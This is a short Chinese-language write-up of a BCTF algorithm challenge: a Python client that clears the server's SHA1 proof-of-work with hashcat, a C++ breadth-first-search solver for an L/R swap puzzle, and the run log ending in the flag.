前面要先做一個滿足某條件 hash 的 proof of work,可以用 hashcat 輕鬆解決。
import socket
import hashlib
import struct
import sys
import subprocess
import time
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.243',6000))
print st.recv(4096)
s = st.recv(4096)
print s
s = s[s.find('SHA1'):]
salt = s[6:22]
sha1 = s[45:45+40]
f = open('hash','w')
f.write(sha1+":"+salt)
f.close()
s = subprocess.check_output("./hashcat-0.47/hashcat hash -m 120 -a 3 -1 '?l?d?u' '?1?1?1?1'",shell=True)
s = s[s.find(salt):][17:21]
print s
st.send(s+'\n')
print st.recv(4096)
s = st.recv(4096).split('\n')[1]
try:
for tt in range(10000):
print '('+s+')'
f = open('input','w')
f.write(s+'\n')
f.close()
subprocess.check_output("./solve")
ss = open('sol','r').read().split('\n')
for i in range(len(ss)-1):
if i==len(ss)-2 and ss[i-1]==ss[i]:
break
s = ss[i]
print '# '+s+']'
st.send(s+'\n')
print st.recv(4096)
s = None
while s == None:
zzz = st.recv(4096)
print zzz
for x in zzz.split('\n'):
if 'L' in x:
s = x
break
except:
while True:
print st.recv(4096)
time.sleep(1)
#include <stdio.h>
#include <string.h>
#include <algorithm>
using namespace std;
char str[30];
int dis[1<<21][21];
int pre[1<<21][21][2];
int que[30000000][2];
int n,sr;
int sol[100][2];
inline void add(int U,int x,int &p,int pu,int px){
if(dis[U][x]==-1){
dis[U][x] = dis[pu][px]+1;
pre[U][x][0] = pu;
pre[U][x][1] = px;
que[++p][0] = U;
que[p][1] = x;
}
}
[66/172]
void print(int U,int x){
for( int i=n-1; i>=0; i-- ){
if(i==n-x-1){
if((U>>i)&1){
puts("ERROR");
while(1);
}
printf(" ");
}else{
printf("%c","LR"[(U>>i)&1]);
}
}
puts("");
}
int calc(int S,int x,int T){
int p,q,sx=x;
int U,d,dU,l1,l2,r1,r2,m;
dis[S][x] = 0;
p = 0;
q = -1;
que[0][0] = S;
que[0][1] = x;
while(p!=q){
q++;
U = que[q][0];
x = que[q][1];
//print(U,x);
if(U==T){
m = dis[T][x];
sr = 0;
while(U!=S || x!=sx){
sol[sr][0] = U;
sol[sr++][1] = x;
dU = U;
U = pre[dU][x][0];
x = pre[dU][x][1];
}
sol[sr][0] = U;
sol[sr++][1] = x;
return m;
}
m = 1<<(n-1-x);
l1 = m<<1;
l2 = m<<2;
r1 = m>>1;
r2 = m>>2;
if(x>0){
dU = ((U&l1)>>1)|(U&(~l1));
add(dU,x-1,p,U,x);
if(x>1){
dU = ((U&l2)>>2)|(U&(~l2));
add(dU,x-2,p,U,x);
}
}
if(x<n-1){
dU = ((U&r1)<<1)|(U&(~r1));
add(dU,x+1,p,U,x);
if(x<n-2){
dU = ((U&r2)<<2)|(U&(~r2));
add(dU,x+2,p,U,x);
}
}
}
return -1;
}
int main(){
int x,d,xl,xr;
FILE *fi = fopen("input","r");
fgets(str,sizeof(str),fi);
fclose(fi);
d = 0;
xl = xr = 0;
for( int i=0; str[i]!='\n'; i++ ){
d<<=1;
if(str[i]==' '){
x = i;
}else if(str[i]=='L'){
xl++;
}else{
d++;
xr++;
}
}
n = xl+xr+1;
memset(dis,-1,sizeof(dis));
calc(d,x,((1<<xr)-1)<<(xl+1));
printf("%d\n",sr);
FILE* fs = fopen("sol","w");
for( int i=sr-1; i>0; i-- ){
print(sol[i][0],sol[i][1]);
fprintf(fs,"%d\n",sol[i-1][1]+1);
}
print(sol[0][0],sol[0][1]);
fprintf(fs,"%d\n",xl+1);
fclose(fs);
return 0;
}
$ python solve.py
Welcome to the game server!
Proof of work to start the game.
SHA1("efJcaYiCX7AyV7nY" + X).hexdigest() == "ce486d471280a169930efdd1512c85d81e28df72", X is a string of alphanumeric
Input X:
HRVN
Hey, shall we play a game?
Give me a solution to help them get their destination and I will send you your precious.
Please wait while we're generating new round for you
(RRLR LRRLRLLLRL)
# 6]
RRLRL RRLRLLLRL
# 7]
RRLRLR RLRLLLRL
# 5]
RRLR RLRLRLLLRL
# 3]
RR RLRLRLRLLLRL
# 4]
RRR LRLRLRLLLRL
# 6]
RRRRL LRLRLLLRL
# 8]
RRRRLRL LRLLLRL
# 10]
RRRRLRLRL LLLRL
# 12]
RRRRLRLRLLL LRL
# 14]
RRRRLRLRLLLRL L
# 13]
RRRRLRLRLLLR LL
# 11]
RRRRLRLRLL RLLL
# 10]
RRRRLRLRL LRLLL
# 12]
RRRRLRLRLRL LLL
# 11]
RRRRLRLRLR LLLL
# 9]
RRRRLRLR RLLLLL
# 7]
RRRRLR RLRLLLLL
# 5]
RRRR RLRLRLLLLL
# 6]
RRRRR LRLRLLLLL
# 8]
RRRRRRL LRLLLLL
# 10]
RRRRRRLRL LLLLL
# 9]
RRRRRRLR LLLLLL
# 7]
RRRRRR RLLLLLLL
# 8]
Congratulations
[Please wait while we're generating new round for you
Round 2
LRLRRLRRLLR LRL
(LRLRRLRRLLR LRL)
...
(After 100 rounds of game)
...
Congratulations
Your flag is BCTF{wh0-s4ys-h4cke7s-c4nn0t-d0-4lg0rIthm}
(100 輪真的好久...)